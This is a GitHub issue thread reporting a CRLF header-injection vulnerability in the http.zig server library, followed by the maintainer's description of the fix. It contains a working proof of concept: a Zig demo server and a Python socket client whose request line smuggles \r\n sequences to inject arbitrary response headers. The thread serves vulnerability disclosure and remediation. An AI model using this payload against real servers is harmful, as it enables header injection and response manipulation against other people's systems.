karlseguin / http.zig

An HTTP/1.1 server for zig
MIT License
454 stars 31 forks source link

CRLF injection vulnerability #25

Closed TasosY2K closed 7 months ago

TasosY2K commented 7 months ago

Header injection via CRLF escape in http.zig

It is possible to overwrite existing headers or to inject arbitrary headers in the response via CRLF injection in url parameters.

See HTTP header injection at https://www.invicti.com/blog/web-security/crlf-http-header/

POC

poc

Server

const std = @import("std");
const httpz = @import("httpz");
const Allocator = std.mem.Allocator;

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    const allocator = gpa.allocator();

    const t1 = try std.Thread.spawn(.{}, start, .{allocator});

    std.log.info("Three demo servers have been started. Please load http://127.0.0.1:5882", .{});

    t1.join();
}

var index_file_contents: []u8 = undefined;

pub fn start(allocator: Allocator) !void {
    var server = try httpz.Server().init(allocator, .{});
    defer server.deinit();
    var router = server.router();

    server.notFound(notFound);

    router.get("/", index);
    router.get("/param/:value", param);
    try server.listen();
}

fn index(_: *httpz.Request, res: *httpz.Response) !void {
    res.body = "Index";
}

fn param(req: *httpz.Request, res: *httpz.Response) !void {
    const value = req.param("value").?;
    res.header("example", value);
    res.body = "ok";
}

fn notFound(_: *httpz.Request, res: *httpz.Response) !void {
    res.status = 404;
    res.body = "Not found";
}

Client

import socket

def main(netloc):
    host, port = netloc.split(":")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, int(port)))

    req1 = f"GET /param/a\r\nexample:b\r\ninjected:test HTTP/1.1\r\nHost: {host}:{port}\r\nContent-Length: 0\r\n\r\n"
    s.sendall(req1.encode())

    response = s.recv(4096)
    print(response.decode())

if __name__ == "__main__":
    main("127.0.0.1:5882")
karlseguin commented 7 months ago

Thanks. I now check the path for non-printable bytes. I realize that the spec requires more than this (i.e. some printable characters must be escaped, in some cases depending on where they are). But hopefully this check addresses the security issue.

I also added checks for the header key and values (I believe these checks are compliant).